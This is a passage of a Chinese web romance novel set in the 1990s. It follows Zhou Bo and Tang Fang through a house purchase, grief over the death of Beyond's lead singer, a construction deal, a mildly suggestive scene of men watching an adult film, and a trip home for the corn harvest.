大叔脸色铁青,恨不得给他那外甥两耳瓜子,这要是传出去,房子降价事小,房东那边要是心里起了疙瘩…… 唐放看向周勃,他靠在门框上,“看你自己了。” 他将选择权抛给周勃。 周勃沉吟片刻,对他来说,这个厕所是小问题,大不了到时候让人翻修一下就行了。 “叔,你也看到了,你这厕所……这样吧,你给个实在价,要是可以,就签合同。” “不行,那就没办法了。” 周勃说的淡定,越是这时候越要淡定。 这大叔也怕周勃把事儿说出去,他沉默半响,手指小心翼翼比了个数。 周勃眉头一挑,18万。 他拉着唐放转身就要走! 这价儿只能说是二手房的正常价儿。 “唉唉!别走啊!又不是不能再谈!” 大叔连忙拉住周勃,他急得冒汗,“15万!最低15万!真不能再低了!” 这15万出来,他可是分文不挣啊! “成交。”周勃嘴角微微上扬。 这给大叔看愣了,搞半天,原来自己是个外行人啊! 说出口的话,也不能再收回来,周勃最终顺利以15万拿下房子,先交5万定金。 周勃找唐放借了10万。 这厮眼睛都不眨一下,痛快将钱借出来。 速度之快,令人乍舌,周勃心头复杂:“你都不怕我骗你钱跑路?” 唐放看他一眼,丝毫没把那钱放眼里,“你个大老板要还需要骗我?” 他笑得吊儿郎当:“要真骗我,那就只能拿身体抵债了!” 说着,唐放那丹凤眼仿佛意味不明的在周勃身上上下打量,“你这身材不错,估计挺招人喜欢。” 周勃对此不屑一顾,他十分淡定,“我要是你,顺手就把公司给抵押了。” “……你可真狠啊。” “……?” “我只是想要你的人,你竟然还想要人破产。” 周勃气笑了,送给他一个鄙视眼神大步离开。 徒留唐放在原地回味周勃刚才那眼神。 嘶!不羁,有点儿辣! 厕所问题迟早要解决,周勃交给唐放,肥水不流外人田。 夜晚,唐放回去又洗了个澡,一支烟叼着,想着白天和周勃斗嘴,止不住的乐。 一旁没事儿干的陈牧德都给吓傻了。 “不是,放哥,要不你去医院看看吧。” “我害怕。” 唐放给了他个凌厉的眼刀,收住笑,语气淡淡道:“你明天和我去搞装修。” 陈牧德愣住:“又有活儿了?” “就我们俩。” “多少钱啊?”陈牧德问。 唐放:“……管那么多干什么。” 看样子是没多少钱,陈牧德木木的,随后纳闷:“放哥,你不是看不上小钱吗!” “谁说的?”唐放瞥他一眼。 “就佳佳姐那次啊!……好吧,可能是我听错了。” 迫于唐放眼神压力的无奈,陈牧德只好小声改口。 到了第二天,陈牧德瞧见了正主,释然了。 怪不得啊怪不得。 安排的两个半天的工期,工作时间不长,周勃包饭。 陈牧德干了半天,严重怀疑自己是过来当苦力的,他那小眼神频频飘向门外。 看看看看,看看他放哥聊天聊得多开心啊! 那给他笑得,平常也不见他对着自家兄弟笑笑! 陈牧德愤愤将地板砖敲碎。 等到第二天,陈牧德没来了。 周勃孤身而来的唐放,看看他身后,没见着陈牧德影子。 “陈牧德呢?” “没来。” 周勃顿住,笑了:“不会因为你昨天干得太少,人生气了吧?” “人在屋里哭呢!” 周勃惊了:“你这都把人弄哭了??”这一大老爷们呢!是做了多缺德的事儿人才会哭啊! 唐放听这话十分无语。 “你就不能往其他方面想想?” “……比如?” 唐放从兜里掏出支烟,点燃,朦胧的烟气罩住他的脸,声音异常平静。 落下的话语却如同一声重雷,精准劈在周勃脚下。 “黄家驹没了。” 周勃下意识回了句:“你在开玩笑?” 随后,唐放的眼神告诉他,这不是玩笑,这就是陈牧德没来的原因。 所以这就是黄家驹之后没有歌出名的原因吗?因为一首《海阔天空》就是他最后的作品。 周勃如鲠在喉,好半响没说话。 “……嗯,陈牧德是该哭。” 这可是能把beyond乐队的歌连续不断放上一整天的人,粉丝总是真情实感的。 唐放倒是没那么多感觉,说白了,那就是个陌生人,见都没见过,哪来那么多情绪悲伤。 夜晚,夏天燥热的风终于被稀释了不少热气。 周勃带着唐放出门吃饭,这才注意到,原来此时的街头,早已不约而同放起了歌声。 就像是在为那个人送别,一路,走好。 他们的行走伴着路灯,还有多少个来海城打工人的心酸。 “今天我~寒夜里看雪飘过~” “怀着冷却了的心窝漂远方~” “风雨里追赶~雾里分不清影踪~” “天空海阔你与我可会变~” …… “原谅我这一生不羁放纵爱自由~” “也会怕有一天会跌倒~” …… 至此,这首《海阔天空》封神。 周勃边听歌边吃饭,很快放下筷子,唐放饭量大,在做最后的收尾。 那熟悉的歌声也走到了结尾。 “唐放!” 唐放抬起头,看向周勃。 周勃笑眯眯,指指自己的嘴角:“饭。” 饭吃得差不多了,唐放顺手扯了纸擦嘴,顺便递给周勃,手中的纸没人接。 他看过去,只见周勃已经走到了店外。 来往的人群熙熙攘攘,他穿着衬衫西裤,腿还是那么笔直,抬头看着夜幕,宛如一个停留在时间角落的过客。 周围人来来往往,只有他一直停留着。 唐放不由得眉心一跳,他正要开口。 周勃转身,他脸上挂着淡淡的笑,唐放又闭嘴了,他感觉他的心情似乎好了些。 “唐放,如果今年海城还有演唱会的话,我们去看吧!” “我请你。” 唐放还能说什么,他直勾勾的盯着周勃的脸,如同随意的点点头。 随后又像是想起什么,唐放嘴唇动动。 周勃却先他一步说出口:“如果今年没有的话,那就明年吧。” 周勃说出这话,自己都开始笑了,喃喃道:“看来演唱会,是非去不可了。” 以前总没机会去,现在他无论如何也要去一场,算是弥补吧。 周勃眉间染上点点释怀,弥补那个看似没有遗憾的青春。 唐放咽了咽口水,觉得自己的心脏开始疼了。 第30章 第 30 章 一代人的青春, 逐渐退出历史舞台,但人们的生活还要继续。 第2天,周勃见到陈牧德了,这人眼睛通红, 和唐放说的一样。 “你为了偶像哭的这么伤心, 那到时候周梅要是和别人在一起了你不得钻被窝里哭啊?”周勃笑眯眯调侃道。 “你高估他了, 昨晚上已经钻被窝了。”唐放在一旁懒洋洋的补充。 陈牧德幽怨的看了唐放一眼, 没吭声。 天知道昨天在知道消息后他有多难受, 他那么喜欢的乐队,作为主心骨的人却遭遇不幸,以后beyond乐队就不是曾经的那个beyond乐队了。 想到这里, 好不容易憋住的陈牧德眼中泪水闪烁。 周勃:“要不, 你还是再回去缓缓吧。” 陈牧德一抹泪水,“不用了, 昨天已经休息了一天了。” 由于陈牧德昨天的旷工,厕所还有些缝儿需要填补, 最快一个时辰就能搞定。 周勃见他眼神坚定, 没在劝他, 反倒是唐放好笑的一巴掌拍在陈牧德后脑勺。 “得了,哭了一天了还哭, 还是个大老爷们吗?” “周梅要是知道了你说她会不会就开始瞧不起你?” 陈牧德捂着后脑勺, 警惕的看向唐放:“放哥, 你可不许打小报告啊!” 他哼哼两句:“打小报告那可是重罪,是要烂小JJ的。” 周勃一口水差点喷出来, 这陈牧德可真会诅咒人啊! 唐放脸黑了, 一脚踹在陈牧德屁股上。 “还磨磨唧唧干什么?赶紧去把地缝填了!” 一个小时后,厕所完工。周勃检查无误后, 将钱递给唐放,唐放没要,他朝着正抹汗水的陈牧德轻抬下巴,意思很明显。 陈牧德看着手中的钱,一脸感动的看着唐放,“放哥,你也太好了吧!” 之前还以为这钱是俩人平分,结果没想到放哥这么大气,直接将钱全部给了自己。 想要治愈悲伤,唯有金钱。陈牧德心中感慨,不愧是他放哥,果然是看不上小钱! 这么想着,陈牧德准备给他放哥来个大大的拥抱,以表自己的喜悦感谢之情。 一只手阻止了他。唐放后退几步,陈牧德这小子,干了一个小时,身上都是汗,他可没忘记这小子和周勃不一样,是个不在乎形象的邋遢家伙。 被阻止了,陈牧德也不恼火,笑嘻嘻的数着手上的钱。 一遍两遍三遍,嘿嘿嘿 周勃带着二人找了家饭馆吃饭。 吃完饭,陈牧德打着昨晚上哭多了回去睡觉的借口溜了。 “你呢?”周勃看向身旁的唐放,“不回去?” 唐放就是回去也没事儿干,至少要等王伟杰他们手上这项目完了。 “怎么?这么希望我走?”唐放眉眼上扬。 “那我就还偏偏不走了!” 周勃:“” 周勃已经很久没去公司了,正好去公司看一眼,他这个甩手掌柜,现在只有当公司遇到麻烦或者重大事件需要他决定时才会通知他。 这些天他的助理都没找他,估计是没事。 周勃不知道的是,董军正要打电话通知他呢! 董军看着连续来了三天的年轻女人,有些佩服的同时也有点烦躁。 新的地皮,如果不出意料的话应该是要建成楼房出售,以往他们都是建成商场,这次经过多方面考量后决定建成楼房。 按道理来说,肯定是找曾经合作过的装修团队。 但从前几天,有个团队的女人天天跑过来,让他烦不胜烦。 “我说过了,像这种东西,我是不能做主的,不管是什么东西,都需要老板拍板,”董军无奈道,“你就算说的再好,能做决定的也不是我。” 一直找上门的不是别人,正是王伟杰的妹妹——王敏。 她看起来漂漂亮亮和和气气一小姑娘,谁能想到能力这么强,先后给王伟杰他们拉来了不少项目,不过都不大。 王敏之所以能这些天连续不断天天来,就是因为这对他们来说就是桩大项目,要真能谈下来,别管是跑三天,就是跑一个月也值了。 “哥,要不你把你们老板电话给我,我回去打给他问问。” 王敏生得好看,女孩子特有的撒娇放在男人身上那都是成倍暴击,任谁都不忍心说重话。 靠着自身优势,王敏总能比其他人多那么点儿优待,就像男人天生力气大能干活儿,女人有优势那当然要使出来! 董军是个正常男人,此时也不好拒绝她,都快要自暴自弃了,要不直接给他号码得了。 就在他犹豫时,忽的眼前一亮。 董军大跨步跃过王敏,“来来来,你不是要找我们老总吗?这就是,有什么想说的直接对他说,老板要是拍板,我当天就能和你们团队签合同。” 王敏顺着董军的目光看过去,一个眼熟的人乍然出现在她眼前。 王敏满脸震惊:“放、放哥!”不会他说的老板,就是放哥吧! 一瞬间,王敏的脑海中闪过无数狗血桥段。 周勃倒是愣了下,他还没反应过来,董军就站在了他身旁,一边儿的唐放直接给他忽略了。 关于王敏以及她的来意,董军两三句话就说得清清楚楚。 同时,周勃也没忘记这姑娘刚才喊的那声儿。 想了想,他转头看向唐放,眉眼轻挑:“你认识?” 面对周勃的询问和王敏直勾勾的目光,唐放平静道:“这是我兄弟的妹妹,也是给我们拉项目的。” 这么一说,周勃懂了,他笑笑,“进去说。” 三个字不仅是对董军说的,也是对王敏说的。 唐放则转头对王敏道:“你先回去吧,这边我来谈。” “……” 王敏根本就不想走,这好不容易能在外边单独见个面儿,不把握住机会不是人啊! 但很快,王敏忍住了,她也知道在外边唐放也相当于她的老板,不能不给面子,想到这儿,王敏很听话的离开了。 走进办公室,董军很快给俩人到了杯水后安静拉上门。 董军会做人,和下属关系都不错,外边儿办公室,有员工小声问董军:“董经理,老板后边儿那个谁啊?” “我也不知道,大概是过来谈合作的。”董军含糊说了两句。 “……可是,他看着好帅啊!” “对对对!他们一进来我就看见了!”这是个女员工。 “老板长得也帅!” “果然,帅哥的朋友都是帅哥!” “老板的朋友都是老板!” 员工小声叽里呱啦的说话,董军听了两句,赶忙道:“别八卦了,赶紧工作,这回老板回来了,要是等下出来看见你们都在聊天,小心这个月奖金!” 众员工纷纷噤声。 周勃这办公室虽说跟后世有些差距,但在这个时代,算是不错的了,落地窗,老板椅,还有个单独的书桌,以及可以随时视女干员工的百褶窗。 茶几上放着瓶花,唐放大大咧咧坐在沙发上,丹凤眼眯着似乎很是舒服。 周勃:“……你就不问问刚刚的项目?” 唐放对此轻嗤一声,丹凤眼扫过周勃,“你要是不给我,你良心过得去吗?” “……” 他这样一说,原本就打算把项目交给他的周勃顿时不爽了,他轻轻笑着,没说话,那双眼睛上下打量唐放,似乎在寻思着要怎么从他身上啃下块肉来。 唐放被他看得头皮发麻。 周勃也知道唐放说的是实话,这人二话不说借给他钱,把他从老家捎过来,其中各种各样的照顾他又不是感受不到。 周勃收回视线,但这家伙自信的让他手痒痒,想到个好主意,他笑眯眯道:“肯定是要给你的,不过——” “不过?” “你得答应我个事儿,小事儿。” 唐放没当回事儿,他帮的小事儿够多了,不差那一两个,“行。” 一个几百万的单子就这样唰一下成交了。 包工头之所以有钱就是这样来的。 一个项目几百万,钱能从各种方面省,找几个装修工人每月发个几百块工资,材料方面多加选择,再怎么也能赚个几十万。 要是黑心点的,用垃圾材料,压榨工人工资,赚得更多。 唐放之前赚得钱够他用了,现在带着兄弟赚钱,自然兄弟能分到的钱也多些。 “你们没打算开个公司?”周勃递给他支烟。 “有打算,等他们手头的完工,先开个建筑公司。”唐放点燃烟,在心底思索着,他们现在干这个短期内能赚到钱,长期就难说了。 这边儿那么多公司,个个儿都是竞争对手。 以前听说个笑话,有个美国人在加油站附近开了个餐馆,吸引来加油的人吃饭,最终赚了钱,其他的美国人见了,便纷纷跑到加油站附近开店,但不是开餐馆,有的开洗车店有的开理发店和电影院。 有人嘲讽,要是中国人的话,恨不得一个加油站给你开七八个餐馆。 唐放也不知道搁哪儿听到的话,他只觉得不屑一顾。 很明显的道理,一个加油站附近什么也没有,各行各业都是个蛋糕。 现在一块地各行各业都饱和了,想要赚到钱,不被淘汰,那就只能各凭本事。 30-40 第31章 第 31 章 周勃后续接连着几天请阿姨打扫卫生。 几天后, 本就刚装修的二手房更是和新房差不多。 周勃叫了人帮他把东西搬过去,之前住的地方突然退租,房东对此颇有微词。 “你明明签了一年的合同,现在就要搬走!那定金我可不退了哦!” 定金没多少钱, 周勃看也不看, 心情好, 笑笑:“阿姨, 买房了, 那钱就当给您的小费了!” 房东阿姨一愣,眼睁睁看着人拉着家具上货车,货车尾气一喷, 呼啦啦的开走了。 徒留她站在原地, 风吹过,飘起她的宽大长裙, 这小伙子,怎么都不还还嘴啊!她家里还有个姑娘没嫁人呢! 房东一拍大腿!怎么之前没看出来这小伙子这么实诚呢! 周勃重新给家里置办了家具, 已经连着好几天没去公司, 等到终于完工, 他要去公司上班之前,又给家里打了个电话。 晚上打的, 小姑正好在家。 小姑接到周勃的电话很是开心:“你怎么有空给我打电话?在海城上班怎么样?忙不忙?” “忙倒是不忙。”周勃摸摸鼻尖, 都没去公司, 怎么能算忙呢?至少目前倒闭不了。 没他在,员工大概率就是懒惰些。 周山妹又问了些家长里短的事儿, 周勃有什么回答什么, 等到她没问的了,周勃才开口:“小姑, 家里的苞米熟了吧。” “快熟了,咋了?” “我记得你今年是不是种了挺多的?” 周山妹对侄子不懂农村生活见怪不怪,“那当然得种多点!家里还有那么多鸡呢!买鸡饲料多贵啊,浪费钱,农村地里粮食多得是!到时候我把苞米磨成面,给你包成苞米粑!看看有人去海城没,去的话,给你捎过去。” 周勃不喜欢吃苞米粑,他总觉着那东西拉嗓子,他转移话题,“我过几天回来,到时候顺便帮你一起摘苞米。” 他家的地挺大的,离家里也有点距离,再加上夏天天气热,一个人要背着苞米从地里走回来,着实折磨人。 “啊?你真回来啊!”周山妹道,“你回来干什么啊!这不是浪费别票钱吗!” 周勃知道自家小姑是个啥德行,老一辈都心疼钱,他慢悠悠把问题抛给她:“可是我的票已经买了。” “不能退吗!” “不能。” 周山妹没办法了,她长叹一口气惯会安慰自己:“行吧,你回来也好,正好叫人外给你介绍几个姑娘看看。” 周勃:“……” …… 这两天王伟杰和陈牧德的关系有所缓和,已经不再是那种互相把对方当空气的状态了。 他们互相把对方不当人。 不当人,当狗,自然要和对方呛上两句。 两句话,被人看成了他们和好的征兆,拉着人一起搞事。 王伟杰知道是怎么回事儿,陈牧德则是满脸懵逼,“怎么了?” 拉着人这哥们代表了大多数人,他嗔了陈牧德一眼:“你忘了啊!过两天是放哥生日!这不得好好庆祝庆祝!” 陈牧德:“……”他不是忘了,他是根本没记。 而且他觉着,说不定放哥自己都不知道自己过生日呢! 陈牧德不好打击人积极性,正缺乏个融入团队的机会,这不就来了吗? 听了半天,陈牧德搞明白了,他也是有任务的,他的任务就是在放哥生日当天把他引到指定地点。 人是放哥还没来时候就准备的,策划人是王敏,那个漂亮姑娘,早早订好了夜店包厢。 就等着人一过去就给惊喜。 陈牧德倒吸一口冷气,觉着放哥真是害人不浅啊! 瞧把人妹子给迷的。 他还记得前几天拿下的工程,那么大一单,这妹子非说不是她的功劳,全是放哥的。 没一个人信,谁都知道她辛辛苦苦跑了三天,要没她的功劳,谁信啊? 王敏笑眼弯弯,冲着陈牧德喊了句:“牧德哥,到时候真的要麻烦你了!放哥这些年都没怎么过过生日,这不是第一次来海城吗?” “我们大家都想给他一个难忘的回忆。” 陈牧德满口答应:“你放心,到时候我没到都要把他给送到!” 唐放出门溜达了一圈,刚回来,陈牧德就拉着他到了一旁。 “放哥,你后天有事儿不?”陈牧德讨好的问道。 唐放拍开他的手,“没事,怎么了?” “没事就好没事就好,”陈牧德嘿嘿一笑:“是这样儿的,我那天有点事儿,你晚上陪我去个地儿呗!” “没空。” “……你不是没事儿嘛!” “现在有事儿了。”唐放丹凤眼轻轻暼他一眼,嘴角轻笑,陈牧德刚说什么话,他就知道这人憋着什么屁! 陈牧德苦瓜脸:“唉不是!放哥,你别真的无情啊!就陪陪我呗!” 他的苦肉计对唐放没一点用,唐放轻哼两句,“要么说,要么滚。” “……” 这可是个惊喜,他能说嘛!陈牧德心头真是苦,咋被分到这差事! 陈牧德那还犹犹豫豫,唐放见状,直接就要走。 见唐放真有他不说,就径直走开的架势,陈牧德顾不上其他的了,放哥可是说一不二的人啊! 要错过了这茬!他是真的带不过去人啊! 陈牧德急忙拉住唐放,“唉唉唉!你别走啊!我又没说我不说!我要是说了,你可不许给别人说啊!” 唐放没说话,面容平静,那双眼睛让陈牧德不敢放肆。 “要么说,要么滚。”唐放还是那句话。 陈牧德没招了,只好把王敏等人委托给自己的事儿告诉唐放。 他幽幽道:“放哥,你可不能说出去啊!还有,你后天可别忘了,你过生呢!” 唐放还以为是什么事儿,个生日而已,有什么好庆祝的? 还非得去夜店。 “行行行,知道了。”唐放敷衍两句,打发走了陈牧德。 上完厕所,刚要回房间拿衣服洗澡,王伟杰把他拦住了,他笑得很是意味深长,勾着肩把唐放带进了小房间。 一进门,还坐了两三个人。 其中就有缩在角落的陈牧德。 这厮根本就不敢看唐放,或者说,不敢看任何人。 还有个哥们笑得贼兮兮的,拿出个光碟,在vcd上吹吹,后小心翼翼给放了进去。 随着vcd一阵嗡鸣,房间门迅速闭合上锁,“啪嗒”一声儿,拉灯了。 王伟杰拉着唐放找了个沙发的边角落坐下。 这氛围,唐放不是傻子,他懒洋洋靠在沙发上。 电视机里闪烁的光打亮不少睁大眼睛满脸兴奋的男人。 好一会儿,出来人了。 这终于不是蓝色没耳朵的猫了,唐放百无聊赖的想,稍稍坐直身体。 电视机里的女人说着日语,前头儿还有个剧情介绍,大概意思就是,女人的老公上班去了,家里来了个维修工,是她的初恋情|人。 然后这情|人意外看到女人的洗澡,本就贼心不死的他面对初恋立马上手。 只见情|人色眯|眯威胁道:“夫人,你也不想……” “嘶”的一声,不知是谁倒吸一口冷气,小声啐道:“这人好不要脸!” 这声骂随着剧情走入正题逐渐消失。 其他人看的聚精会神,唐放开始评判男女主人公的身材。 坐在唐放身旁王伟杰此刻的心有点儿凉,他可没忘记他把唐放带进来的目的是什么。 之前他总觉着,唐放没看上自家妹子,那一定是没开窍!不然这么会有看不上自家妹子的男人。 这样想,王伟杰把他带进来了。 势必要让他知道,男人和女人的区别!身为兄弟,那就是责任! 起初他自己都看得心潮浮动,一圈儿兄弟个个儿脸红脖子粗,完了他转过头。 王伟杰见唐放一脸淡定,都惊呆了。 靠啊!唐、唐放他不会对女人没兴趣吧! 王伟杰咽咽口水,他频频看向唐放的目光引起对方注意。 唐放扭头,和王伟杰对上视线。 “有事儿?” “……好看吗?” 唐放简单点评:“女的叫的太假了,男的身材不符合身份,而且身材也不是很好看。”太夸张了肌肉。 王伟杰:“……” “……那你觉得谁身材好看?” 唐放脑海中瞬间闪过一道身影,和一张熟悉的脸,他一顿,忽的突然警觉:“你问这个干什么?” 王伟杰觉着自己牙疼,槽点太多,“不是,放哥,你看个片儿,一点儿反应都没有?” “你瞅瞅那一圈儿,人都看得可兴奋了,我都怀疑你是不是不行!” 唐放丹凤眼冷冷扫过去,他给王伟杰这话气笑了,“你这片儿不行,还怪别人没反应?” 我tm这片儿哪不行了? 王伟杰脑中满是问号,他咬牙,话从牙缝中挤出来:“不是,但凡有个喜欢的人,我告诉你,你分分钟起来信不信,就算没个喜欢的人,那也有感觉啊!你还是不是男人!” 一时间,王伟杰也不知道该心疼自家妹子还是心疼这个兄弟。 唐放脸黑了,谁tm不是男人了!会不会说话! 他看过去,只见王伟杰这家伙正盯着电视机,全然将他抛在脑后,这是故意忽视他了。 第32章 第 32 章 这么多兄弟在, 也不可能吵起来,难道还要兄弟拉着裤衩过来劝架? 这不闹吗? 唐放憋着气看向电视机。 过了十几分钟,里面俩人就跟那发|情的猫似的,又跟着换了个地儿。 唐放看着看着, 恍惚间, 不知怎么的, 那女人的眉眼似乎变换了一下, 换成了一张笑眯眯的脸庞, 让人呼吸一窒。 时常淡定的脸,却好像染上一层铺落的红,朦胧的双眼和眼尾的红意让人喉间干咳。 唐放又想起了对方腹部的触感, 紧致细腻, 那种感觉仿佛停留在指缝,轻轻缠|绕着他, 勾着他,让他想听听那张嘴里能发出怎么的声音。 咽了咽口水, 电视机里的男人仿佛变成了他, 女人变成了周勃。 之前他还嫌弃对方用力太过, 把女人撞出去。 现在只觉得,用力太小了。 要紧紧抓住才行啊。 电视机里放到了尾声, 唐放恍然回神, 汗水顺着他的发鬓滑落, 滑过上下滑|动的喉|结。 “……我先出去会儿,有点热。”唐放低声说了句, 不等王伟杰反应, 他大步走向屋外。 他一定是疯了,才会出现这种幻觉。 唐放的薄唇抿成一条直线。 陷入自己思绪的他, 根本没注意迎面走过来的王敏。 王敏见到唐放,脸上露|出笑容,声音甜甜,“放哥,你看到我哥他们了吗?” 她目光带着点点期许,看着唐放的眼神又有丝热|烈。 唐放根本没注意到她,他大跨步,两步越过王敏,朝着卫生间走去。 随着唐放的靠近又远离,王敏也注意到了什么,她的脸爆|红,不自觉后退两步。 妈呀! 唐放用冷水冲了把脸,镜子里脸庞棱角分明,一双丹凤眼眯着更有种锋利的气势。 因为这张脸,他从小到大从来不缺人喜欢,更是生活得肆无忌惮。 他把兄弟看得比女人重,女人哪儿都能找到,兄弟那是一辈子的。 但是现在,唐放用手拍拍自己的脸,有点痛。 白烟儿在卫生间没缭绕不断,熏的呛人。 有个尿急的哥们捂着裤|裆,面部扭曲的用力拍打厕所门,“里边儿谁啊!快开门!憋不住了!” 用力的拍门声儿,震得唐放指缝儿中的烟燃得更快了! 就在这哥们泪眼朦胧,绝望着的想着难道真要尿裤子了吗时,厕所门打开了。 唐放面无表情走出去。 这哥们也不管三七二十一,一个大跨步,夹着屁|股进了卫生间,“咳咳咳咳咳!放哥,你下次在厕所抽烟开窗户啊!” 接下来的话,唐放没听清。 他罕见的有点儿发愁,这叫什么事儿啊,这不是让他没脸见周勃吗? …… 第二天早上,寻呼机发出闷声震动,昨儿个半夜才睡着做好心理建设的唐放烦躁的拿起寻呼机。 他大爷的,谁这么大早上扰人清梦! 用座机拨过去,周勃的声儿从中传出。 “唐放,起来没?” 唐放一个激灵儿,从床上弹射而起,他瞬间清醒。 “……起来了,怎么了?” 好几天没见着人,这突然听到声儿,还挺好听。 唐放选择性忽视昨晚的事儿,拉开窗帘,勾着嘴角懒散的靠在窗边儿,只有那飘散的头发面对自己主人的谎话指指点点。 “真起来了?” 唐放打开窗户:“……别说废话。” 周勃看着那筒子楼忽然打开的窗户,沉默会儿,转过身儿,不看了,“你明天儿有空不?” “有空。” 周勃朝公司走过去,他说:“有个事儿,我……” 他没说完,唐放给他打断了:“我和你一起去。” 周勃顿了下,“……不是,我都还没说完呢。” 他听见对面儿那头唐放似乎笑了下,“早就答应你了,听不听都差不多。” “……行,我买了明天回老家的票,你跟着我一起。”周勃冷静回答,没等对面儿出声,挂断电话。 纳闷儿,还真没见过这种主动要求去帮忙摘苞米的。 唐放则是好心情,他不知道周勃约他回去干嘛,反正就是心情好,嘴角勾起来,午饭都多吃了两碗。 周勃买了两张回老家的票,都是卧铺。 第二天早上,他家的门被敲响了。 外面不是别人,唐放靠在墙角,不知是等了多久,手里正拿着寻呼机看电话号码,准备用楼下的电话亭打过去了。 “进来吧。”周勃看了眼时间,md才早上7点,这家伙是6点起来的吧。 周勃抓了把头发,有点烦躁,他长呼一口气:“怪我,没告诉你我们是下午的票。” “你先坐会儿吧,我再去补个觉。”说完,不等唐放反应,周勃径直走向卧室。 唐放:“” 一个小时后,周□□床了。 带着唐放先去吃饭,吃完饭后在家里收拾东西,他昨天在商场特地给小姑买了几件衣服,这得带回去。 唐放目光虚无的看着他在一旁忙忙碌碌,人呈大字型瘫在沙发上,不知道在想什么。 “对了,你让我帮忙是帮什么忙?”唐放眼神聚焦。 周勃收衣服的手一顿,他笑了笑,用很是轻松的语气道:“这不是七月份了嘛。” “?” “苞米地熟了。”周勃言简意赅。 唐放感觉自己的耳朵好像听错了,“……你再说一遍?” “苞米地熟了。”周勃又重复一遍。 唐放脸有些黑,“所以你叫我回去帮你摘苞米??” 周勃看见了唐放的黑脸,知道他接下来的活儿不好干,乐了,“不是,摘个苞米而已,你之前没搬过砖?” “……那不一样。” 周勃眉眼轻挑:“有什么不一样,一样是体力活儿!”他可不能这下子把人给得罪了,人要不去了咋办? 别说体力活儿,一说体力活儿,唐放的脑子就开始联想,他清咳了两声,不再看周勃的脸。 “……包吃住吧。” “包!” 下午,两人准时捏着火车票登上即将出发的火车。 而这边,陈牧德看着空空荡荡的房间,陷入沉思。 放哥,应该还记得晚上是他生日吧,怀着惴惴不安的心,陈牧德在出租屋蹲到了晚上,没见着人来。 想着还有可能人已经过去了,陈牧德赶紧跑过去。 夏天太阳下山晚,这时候六点多,路上不少出来逛街的帅哥靓女。 商贩也多,一个个推着个三轮儿,不少“有钱”的用上了喇叭,大家你一句我一句,吸引着路上不少过路人。 陈牧德气喘吁吁推开夜店包厢门。 里边儿的人手里的彩带差点没收住手,往陈牧德身后看看。“放哥呢?” “不知道啊,他没来吗?”陈牧德懵逼。 这人纳闷,“你给放哥说了没?” “说了啊!”陈牧德有些委屈,老早就说了的。 王伟杰注意到这边的情况,他扫了眼陈牧德脸上的委屈,对其他人说:“先别急,我出去给他打个电话。” 电话亭就在路边,幸好唐放买的有寻呼机,还能震动两下,不然都联系不上人 火车轰隆隆的开了一个小时,老早离开了海城。 唐放和周勃是连着的两个下铺,属于坐在床边就能对上眼那种,到了下午,亦乘务人员推着餐车卖盒饭。 唐放上厕所去了,寻呼机放在桌上,一阵嗡鸣声响。 有睡上铺的人伸头看是什么东西在响,一看,寻呼机! 这可是大老板才需要买的啊,普通老百姓谁用得上啊? 上铺的人多看了两眼,随后感叹着收回视线。 周勃没动唐放的寻呼机,只避免别被人偷走就行。 等到唐放回来时,寻呼机已经响了两遍了。 唐放把卖的盒饭放桌上,拿起寻呼机:“我去打个电话。” 周勃挥挥手。 唐放带着寻呼机到了车厢连接处,这里人少,他靠着车门。 透明玻璃外的景色不断流逝,绿油油的田地一眼望不到边,绯红色涂满了整个天空,带着让人想象不到的惬意。 看了会儿,唐放找列车员借了电话,才拨过去,王伟杰的声音传了过来。 “不是,放哥,你在哪儿啊?陈牧德说真么找都找不到你!我们这边全在xxx夜店兄弟们好容易都聚在一起酒和你赶紧过来,就差你了!” 唐放把电话拿远耳朵,懒洋洋道:“去不了。” 果然,三个字一出,王伟杰的声音立马拉大,高声问他为什么去不了,声音中带着急切。 “为什么去不了?当然是因为——” “我现在不在海城。” “什么!!!!”王伟杰心中的惊诧无以复加,这怎么回事儿啊…… …… 十分钟后,王伟杰抹了把脸,走回包厢。 开门,众人的目光看向他。 “咋说?放哥来了吗?!我都快饿死了!” 王伟杰面对众人目光,脸部麻木:“放哥他不来了。” 这话一说,如同掀起了轩然大波。 “怎么回事儿啊!怎么不来了!” “不是,放哥不会出啥事儿了吧?” “奇了怪了,放哥能有啥事儿啊!” 王伟杰心说,要不是我亲耳听见,我tm差点就绷不住了! “……放哥他老家的苞米熟了。” “??”众人不解。 王伟杰再度抹脸,“他回去摘苞米。” “……艹啊!”有个哥们反应过来,立马出声。 “不是?他生日回去摘苞米??”这是有病儿吧!还是活儿干少了?? 众人满脸问号,觉着王伟杰是不是说错了? 王伟杰再度开口:“不过包厢里,放哥说,想点什么点什么,他付钱。” 正要开口骂骂咧咧的众人犹犹豫豫闭上嘴巴,相互对视一眼,眼中同时闪过一抹激动。 “……那还等什么!” “唉唉唉!服务员!把你们店里最贵的东西给我上上来!一样来一个,不许重样儿啊!” “嘿,别说,小敏这定的蛋糕真tm的甜,不愧是外国佬的东西!” 说起小敏,王伟杰立马开始寻找王敏的身影,他可没忘记这傻子还想着晚上吃完饭后表白呢! 这不会想不开,跑哪个角落里哭去了吧! 王伟杰环顾四周,终于在个人影后看到了自家妹子的身影,她不知道是听到了什么,正搁哪儿嘎嘎乐呢! 这逗她的人影不是别人,正是陈牧德。 王伟杰看着他那扭动的屁|股,牙痒痒,大步走过去。 这孙子,有喜欢的人了,竟然还敢调|戏他妹妹!! 第33章 第 33 章 陈牧德的惨状, 唐放不得而知。 他俩第二天下午下火车后,转了两趟车才回到家。 一趟到县城,一趟从县城到村里。 周勃推开自家大门,只见院子里正堆着一小堆黄色苞米, 有的是光秃秃的苞米棒子, 洒落的玉米粒正颗颗滚落在地面上。 一旁还有个椅子, 显然是他小姑的座位, 一个鞋拔子正套在椅子脚上。 周勃把东西拎回房放好, 唐放则大咧咧拉了个椅子坐在堂屋。 周山妹回来的时候正好看见对方就是这一幕。 她背上背着个大背篓,里面满满的苞米,把她的背压的很弯很弯, 本就腿脚不好, 这时候走路更像个佝偻的老人。 满满的苞米顺着弧度都快要从她肩膀出滑落,唐放看得眼皮一跳。 等周勃出来, 看见的就是唐放正给小姑抽背篓。 “周姨,下次你要别背了, 叫我和周勃就行了。”唐放手臂发力, 重重的背篓被他轻松提起, 再缓缓放到地上。 周山妹卸下背篓,整个人站直身体, 她擦了擦脸上的汗, 笑得脸上褶子成团:“也就是你们回来了, 好叫我轻松些!” “你们还没吃饭吧!等等,我提前给你们炖了猪脚!”周山妹想起什么, 快步走向厨房, “这会儿应该是熟了!我给端出来,炒两个菜, 很快的!” 